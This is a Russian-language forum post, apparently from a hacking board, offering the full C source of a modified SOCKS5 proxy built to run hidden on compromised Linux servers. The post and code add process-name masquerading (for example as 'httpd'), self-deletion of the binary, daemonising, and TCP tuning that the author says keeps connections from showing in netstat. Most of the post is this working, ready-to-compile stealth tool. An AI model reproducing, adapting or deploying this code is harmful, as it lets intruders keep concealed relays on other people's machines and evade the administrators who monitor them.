Регистрация: 11.07.2010
Сообщений: 415
|
Satanic Socks Server - mod for rdot.org
Satanic Socks Server - sss.c v0.66 by drmist/STNC
(mod for rdot.org) v1.1
Отличия от Satanic Socks Server v0.66.170506 (sss.c) by drmist\STNC:
-убрана поддержка windows
+добавлено ограничение на подключения только с заданного IP
+маскировка списке процессов
+режим агрессивного закрытия отработавших сокетов для незаметности в netstat
+исправлен баг, из-за которого sss.c переставал обслуживать сокет через 5-50 минут на современных линуксах.
Пример запуска:
./rdsss httpd
С включенной директивой HIDE прокси маскирует себя в процессах под то, что ему указано при запуске.
Все остальные параметры задаются в исходнике.
В качестве параметра можно указать только имя несуществующего файла, который можно создать, так как программа копирует себя в него.
/usr/sbin/httpd - такие пути больше указывать нельзя.
Цитата:
“Ghost” connections may therefore remain open for up to two hours before the system detects that a connection failed.
|
При работе оригинального sss и его аналогов в списке соединений накапливается большое количество незавершённых сессий - как входящих, так и исходящих соединений, зависших на этапе TIME_WAIT, FIN_WAIT, CLOSE_WAIT, LAST_ACK. При интенсивном использовании их набирается до сотни, и они сильно бросаются в глаза при вызове netstat.
При включении AGGRESSIVE_TCP прокси старается быть незаметным насколько это вообще возможно - даже под нагрузкой он имеет только ESTABLISHED соединения. (для минимизации количества соединений также можно выключить keep-alive в настройках браузера).
Но не забываем, что присутствие прокси всегда выдаёт открытый порт.
Дополнения и правки приветствуются.
Тестировалось на линуксах, на *BSD должно работать с отключенным AGGRESSIVE_TCP.
PHP код:
// gcc -lpthread rdsss.c -o rdsss // Usage: ./rdsss fakename
// Satanic Socks Server - sss.c v0.66 by drmist/STNC // (mod for rdot.org) v1.1a
//#define EXAMPLE 1 This is what disabled option looks like #define PORT 6128 #define HIDE 1 #define AUTH_ON 1 #define AGGRESSIVE_TCP 1 // Enables SO_LINGER & SO_KEEPALIVE
#ifdef AUTH_ON const char AuthLogin[] = "login"; const char AuthPass[] = "pass"; #define SOCKS5_METHOD 0x02 #else #define ALLOWED_IP "127.0.0.1" // you can comment it out to make server public #define SOCKS5_METHOD 0x00 #endif
// Aggressive TCP options. #define mTCP_LINGER_TIMEOUT 0 // in seconds. set to 1 or more in case of dropped connections #define mTCP_KEEPIDLE 10 // default 7200 // ^^^^^^^^^^^^^ interval between the last data packet sent (simple ACKs are not considered data) and the first // keepalive probe; after the connection is marked to need keepalive, this counter is not used any further #define mTCP_KEEPINTVL 5 // default 75 // ^^^^^^^^^^^^^^ interval between subsequential keepalive probes, regardless of what the connection has exchanged in the meantime #define mTCP_KEEPCNT 1 // default 9 // ^^^^^^^^^^^^ number of unacknowledged probes to send before considering the connection dead and notifying the application layer
#define BUFF_SIZE 1024
#include "sys/types.h" #include "sys/socket.h" #include "netinet/in.h" #include "netdb.h"
#include <pthread.h>
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <limits.h> #include <sys/user.h> #include <sys/stat.h> #include <netinet/tcp.h> #include "arpa/inet.h"
typedef int SOCKET; typedef int bool; typedef int __stdcall;
#define SOCKET_ERROR -1 #define INVALID_SOCKET -1
#define false 0 #define true 1
#define SD_BOTH SHUT_RDWR
#define _malloc malloc #define closesocket close
#define SOCKS_VERSION 0x05 #define SOCKS_SUCCESS 0x00 #define SOCKS_FAILURE 0x01 #define SOCKS_CONNECTION_REFUSED 0x05 #define SOCKS_CMD_NOT_SUPPORTED 0x07
typedef struct {
char* _ConnectStruct; SOCKET From; SOCKET To; char Buff[BUFF_SIZE]; char* Error;
} SOCKSPIPE;
typedef SOCKSPIPE* LPSOCKSPIPE;
typedef struct _CONNECTSTRUCT {
SOCKSPIPE FromStruct; SOCKSPIPE ToStruct; char Error;
} CONNECTSTRUCT;
typedef CONNECTSTRUCT* LPCONNECTSTRUCT;
LPCONNECTSTRUCT CreateConnectStruct(SOCKET From, SOCKET To) { LPCONNECTSTRUCT Result = (LPCONNECTSTRUCT)_malloc(sizeof(CONNECTSTRUCT));
Result->FromStruct._ConnectStruct = (char*)Result; Result->FromStruct.From = From; Result->FromStruct.To = To; Result->FromStruct.Error = &(Result->Error);
Result->ToStruct._ConnectStruct = (char*)Result; Result->ToStruct.From = To; Result->ToStruct.To = From; Result->ToStruct.Error = &(Result->Error);
Result->Error = 0x00;
return Result; }
bool swrite(SOCKET s, char* Buff, int buff_size) { int bytes;
while(buff_size > 0) { bytes = send(s, Buff, buff_size, 0);
if((bytes == 0)||(bytes == SOCKET_ERROR)) return false; buff_size -= bytes; Buff += bytes; }
return true; }
bool sread(SOCKET s, char* Buff, int buff_size) { int bytes;
while(buff_size > 0) { bytes = recv(s, Buff, buff_size, 0);
if((bytes == 0)||(bytes == SOCKET_ERROR)) return false;
buff_size -= bytes; Buff += bytes; }
return true; }
void *SocksPipe( void* PPipeStruct) { LPSOCKSPIPE PipeStruct = (LPSOCKSPIPE) PPipeStruct; int bytes;
do { bytes = recv(PipeStruct->From, PipeStruct->Buff, BUFF_SIZE, 0);
if((bytes == 0) || (bytes == SOCKET_ERROR)) break;
if(*(PipeStruct->Error) & 0x01) { *(PipeStruct->Error) |= 0x02; return 0; }
if(!swrite(PipeStruct->To, PipeStruct->Buff, bytes)) { *(PipeStruct->Error) |= 0x02; return 0; } } while(!(*(PipeStruct->Error) & 0x01));
if(*(PipeStruct->Error) & 0x01) *(PipeStruct->Error) |= 0x02; else { *(PipeStruct->Error) |= 0x01; shutdown(PipeStruct->From, SD_BOTH); shutdown(PipeStruct->To, SD_BOTH); closesocket(PipeStruct->From); closesocket(PipeStruct->To);
while(!(*(PipeStruct->Error) & 0x02)) { sleep(1); }
free(PipeStruct->_ConnectStruct); }
return 0; }
bool Socks5SendCode(SOCKET s, char Code, char* TempBuff, char* ip, char* port) { *(int*)TempBuff = 0x1000000 | (Code << 8) | SOCKS_VERSION; *(int*)(TempBuff + 4) = *(int*)ip; *(short*)(TempBuff + 8) = *(short*)port;
return swrite(s, TempBuff, 10); }
SOCKET Socks5ServConnect(SOCKET s, char* TempBuff, char* ip, u_short port) { struct sockaddr_in saddr; SOCKET Redir = socket(AF_INET, SOCK_STREAM, 0);
if(Redir == INVALID_SOCKET) Socks5SendCode(s, SOCKS_FAILURE, TempBuff, ip, (char*)&port); else { bzero(&saddr, sizeof(struct sockaddr_in)); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = *(in_addr_t*)ip; saddr.sin_port = port;
if(connect(Redir, (struct sockaddr*)&saddr, sizeof(struct sockaddr_in)) == -1) { Socks5SendCode(s, SOCKS_CONNECTION_REFUSED, TempBuff, ip, (char*)&port); closesocket(Redir); Redir = INVALID_SOCKET; } } return Redir; }
bool Socks5CmdIsSupported(SOCKET s, char cmd, char* TempBuff, char* ip, char* port) { #ifdef ALLOWED_IP struct sockaddr_in peer; socklen_t peer_len; peer_len = sizeof(peer); if (getpeername(s, (struct sockaddr *) &peer, &peer_len) == -1) return false; char s_ip[20]; sprintf(s_ip,"%s",inet_ntoa(peer.sin_addr)); if(strcmp(s_ip,ALLOWED_IP)) { Socks5SendCode(s, SOCKS_CMD_NOT_SUPPORTED, TempBuff, ip, port); return false; } #endif if(cmd != 0x01) // 0x02 - bind; 0x03 - udp associate { Socks5SendCode(s, SOCKS_CMD_NOT_SUPPORTED, TempBuff, ip, port); return false; }
return true; }
bool Socks5GetCmd(SOCKET s, char* TempBuff, char* cmd, char* ip, char* port) { struct hostent* hp; char DnLen; char AddrType; char Tmp[5];
if(!sread(s, TempBuff, 4)) return false;
if((TempBuff[0] != SOCKS_VERSION)||(TempBuff[2] != 0x00)) return false;
*cmd = TempBuff[1]; AddrType = TempBuff[3];
switch(AddrType) { case 0x01: // ip v4 if(!sread(s, ip, 4)) return false; break;
case 0x03: // domain name
if(!sread(s, &DnLen, 1)) return false; if(DnLen == 0) return false; if(!sread(s, TempBuff, DnLen)) return false; TempBuff[(int)DnLen] = 0x00;
if ((hp = gethostbyname(TempBuff)) == NULL) return false;
if(((int)hp == -1)||((int)hp == 0)) { if(!sread(s, port, 2)) return false;
*(int*)(&Tmp) = 0x03000405; *(char*)(&Tmp + 4) = DnLen;
if(swrite(s, Tmp, 5)) if(swrite(s, TempBuff, DnLen)) swrite(s, port, 2);
return false; } else *(int*)ip = *(int*)hp->h_addr;
break;
case 0x04: // ip v6, not supported *(int*)(&Tmp) = 0x04000805;
if(sread(s, TempBuff, 16)) if(sread(s, port, 2)) if(swrite(s, Tmp, 4)) if(swrite(s, TempBuff, 16)) swrite(s, port, 2);
return false;
default: return false; }
return sread(s, port, 2); }
#ifdef AUTH_ON
bool Socks5Auth(SOCKET s, char* TempBuff) { char Login[256]; char LoginLen; char PassLen; char Status = '\xFF'; if(!sread(s, TempBuff, 2)) return false;
LoginLen = TempBuff[1];
if((TempBuff[0] != 0x01)||(LoginLen == 0)) return false;
if(!sread(s, Login, LoginLen+1)) return false;
PassLen = Login[LoginLen];
if(!PassLen) return false;
Login[LoginLen] = 0x00;
if(!sread(s, TempBuff, PassLen)) return false;
TempBuff[PassLen] = 0x00;
if((strcmp(AuthLogin, Login) == 0)&&(strcmp(AuthPass, TempBuff) == 0)) Status = 0x00;
*(short*)TempBuff = (Status << 8) | 0x01;
if(!swrite(s, TempBuff, 2)) return false;
return (Status == 0x00); }
#endif
bool Socks5Accept(SOCKET s, char* TempBuff) { char MethodsCount; char Cmd = '\xFF';
if(!sread(s, TempBuff, 2)) return false;
MethodsCount = TempBuff[1];
if((TempBuff[0] != SOCKS_VERSION)||(MethodsCount == 0)) return false;
if(!sread(s, TempBuff, MethodsCount)) return false;
do { MethodsCount--;
if(TempBuff[(int)MethodsCount] == SOCKS5_METHOD) { Cmd = TempBuff[(int)MethodsCount]; break; } } while(MethodsCount > 0);
*(short*)TempBuff = (Cmd << 8) | SOCKS_VERSION;
if(!swrite(s, TempBuff, 2)) return false;
#ifdef AUTH_ON return (Cmd == 0xFF) ? false : Socks5Auth(s, TempBuff); #else return (Cmd != 0xFF); #endif
}
void *AcceptThread(void *ss) { SOCKET s = (SOCKET) ss; SOCKET Redir; LPCONNECTSTRUCT ConnectStruct; char TempBuff[256]; char cmd; char ip[4]; int retval;
pthread_attr_t attr; pthread_t thread; int rc=0; rc = pthread_attr_init(&attr); rc = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
u_short port; if(Socks5Accept(s, TempBuff)) if(Socks5GetCmd(s, TempBuff, &cmd, ip, (char*)&port)) if(Socks5CmdIsSupported(s, cmd, TempBuff, ip, (char*)&port)) { Redir = Socks5ServConnect(s, TempBuff, ip, port); if(Redir != INVALID_SOCKET) { if(Socks5SendCode(s, SOCKS_SUCCESS, TempBuff, ip, (char*)&port)) { ConnectStruct = CreateConnectStruct(s, Redir); retval = pthread_create(&thread, &attr, SocksPipe, (void*)&(ConnectStruct->ToStruct)); SocksPipe(&(ConnectStruct->FromStruct)); return 0; } closesocket(Redir); } }
closesocket(s); return 0; }
int main(int argc, char* argv[]) { #ifdef HIDE char*new_argv[argc]; char makelink[100]; new_argv[0]=argv[1]; new_argv[1] = NULL; if (argv[1]) { new_argv[0]=argv[1]; printf("Started as:\t%s %s\n",argv[0],argv[1]); sprintf(makelink,"ln %s %s",argv[0],argv[1]); system(makelink); execve(argv[1],new_argv,NULL); exit(0); } else { printf("Hidden as:\t%s\n",argv[0]); unlink(argv[0]); } #endif printf("Port:\t\t%d\n",PORT); SOCKET s, accepted; struct sockaddr_in saddr; socklen_t saddr_size = sizeof(struct sockaddr_in); int retval;
pthread_attr_t attr; pthread_t thread; int rc=0; rc = pthread_attr_init(&attr); rc = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
s = socket(AF_INET, SOCK_STREAM, 0);
if(s != INVALID_SOCKET) { #ifdef AGGRESSIVE_TCP int optval = 1; socklen_t optlen = sizeof(optval); struct linger l = { .l_onoff = 1, .l_linger = mTCP_LINGER_TIMEOUT };
setsockopt(s, SOL_SOCKET, SO_LINGER, &l, sizeof(l)); setsockopt(s, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen); optval = mTCP_KEEPIDLE; setsockopt(s, SOL_TCP, TCP_KEEPIDLE, &optval, optlen); optval = mTCP_KEEPINTVL; setsockopt(s, SOL_TCP, TCP_KEEPINTVL, &optval, optlen); optval = mTCP_KEEPCNT; setsockopt(s, SOL_TCP, TCP_KEEPCNT, &optval, optlen);
optlen = sizeof(l); getsockopt(s, SOL_SOCKET, SO_LINGER, &l, &optlen); printf("SO_LINGER\t%s\n", (l.l_onoff ? "ON" : "OFF")); optval = 1; optlen = sizeof(optval); getsockopt(s, SOL_SOCKET, SO_KEEPALIVE, &optval, &optlen); printf("SO_KEEPALIVE\t%s\n", (optval ? "ON" : "OFF")); optlen = sizeof(mTCP_KEEPIDLE); getsockopt(s, SOL_TCP, TCP_KEEPIDLE, &optval, &optlen); printf("TCP_KEEPIDLE\t%d\n", optval); getsockopt(s, SOL_TCP, TCP_KEEPINTVL, &optval, &optlen); printf("TCP_KEEPINTVL\t%d\n", optval); getsockopt(s, SOL_TCP, TCP_KEEPCNT, &optval, &optlen); printf("TCP_KEEPCNT\t%d\n", optval); #endif #ifdef HIDE if (fork() == 0) { setsid(); close(0); close(1); close(2); #endif
bzero(&saddr, sizeof(struct sockaddr_in));
saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT);
if(bind(s, (struct sockaddr*)&saddr, sizeof(struct sockaddr_in)) != SOCKET_ERROR) if(listen(s, 0) != SOCKET_ERROR) for(;;) { accepted = accept(s, (struct sockaddr*)&saddr, &saddr_size); if(accepted != INVALID_SOCKET) retval = pthread_create(&thread, &attr, AcceptThread, (void*)accepted); } printf("Can't bind\n"); closesocket(s); } #ifdef HIDE } #endif return 0; }
Последний раз редактировалось tipsy; 25.07.2012 в 19:56..
Причина: update
|